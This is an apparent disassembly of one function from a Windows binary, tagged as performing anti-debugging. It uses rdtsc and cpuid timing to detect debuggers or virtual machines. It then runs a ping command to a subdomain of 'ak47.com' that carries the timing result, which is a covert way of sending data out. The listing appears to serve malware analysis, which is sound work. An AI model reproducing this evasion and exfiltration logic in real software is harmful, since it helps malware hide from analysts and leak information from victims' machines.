Function at 0x140002ca0
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14003c080]
xor rax, rsp
mov qword [rbp - 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov r15d, eax
rdtsc
shl rdx, 0x20
or rax, rdx
mov rbx, rax
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
rdtsc
shl rdx, 0x20
or rax, rdx
mov r11, rax
sub r11, rbx
xor esi, esi
mov r9d, esi
mov r10d, 0x6694
nop dword [rax]
nop dword [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
mov r8, rax
xor eax, eax
xor ecx, ecx
cpuid
rdtsc
shl rdx, 0x20
or rax, rdx
sub rax, r8
add r9, rax
sub r10, 1
jne 0x140002d20
imul rax, r9, 0x989680
xor edx, edx
div r11
mov rbx, rax
movabs rax, 0x446f86562d9faee5
mul rbx
sub rbx, rdx
shr rbx, 1
add rbx, rdx
shr rbx, 6
lea r14, [rbx - 0xa]
lea rax, str.___400_10_n
lea rcx, str.___O_n
cmp r14, 0x186
cmova rcx, rax
call fcn.1400059f0
mov rdx, rbx
lea rcx, str.t:__lld__n
call fcn.1400059f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rsi
mov r8d, 9
lea rdx, str.ping.exe
lea rcx, [rbp - 0x40]
call fcn.140001360
nop
mov r9d, 0xa
mov r8d, 0x10
lea rdx, [rbp - 0x20]
mov ecx, ebx
call fcn.14000cb18
lea rax, [rbp - 0x20]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002df0
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x28]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x140002e39
lea rax, [rbx + rcx]
mov qword [rbp - 0x30], rax
lea rdi, [rbp - 0x40]
cmp rdx, 0xf
cmova rdi, qword [rbp - 0x40]
add rdi, rcx
mov r8, rbx
lea rdx, [rbp - 0x20]
mov rcx, rdi
call fcn.1400293e0
mov byte [rdi + rbx], 0
jmp 0x140002e51
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x20]
xor r8d, r8d
mov rdx, rbx
lea rcx, [rbp - 0x40]
call fcn.140001590
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x28]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x140002e98
lea rax, [rcx + 9]
mov qword [rbp - 0x30], rax
lea rbx, [rbp - 0x40]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x40]
add rbx, rcx
mov r8d, 9
lea rdx, str..ak47.com
mov rcx, rbx
call fcn.1400293e0
mov byte [rbx + 9], 0
jmp 0x140002eb9
mov qword [rsp + 0x20], 9
lea r9, str..ak47.com
xor r8d, r8d
mov edx, 9
lea rcx, [rbp - 0x40]
call fcn.140001590
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rcx, qword [rbp - 0x40]
call fcn.14000cb58
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, r15d
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
nop
cmp r14, 0x186
seta sil
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140002f21
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002f4c
call fcn.140006978
mov eax, esi
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140006b20
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14000c824
int3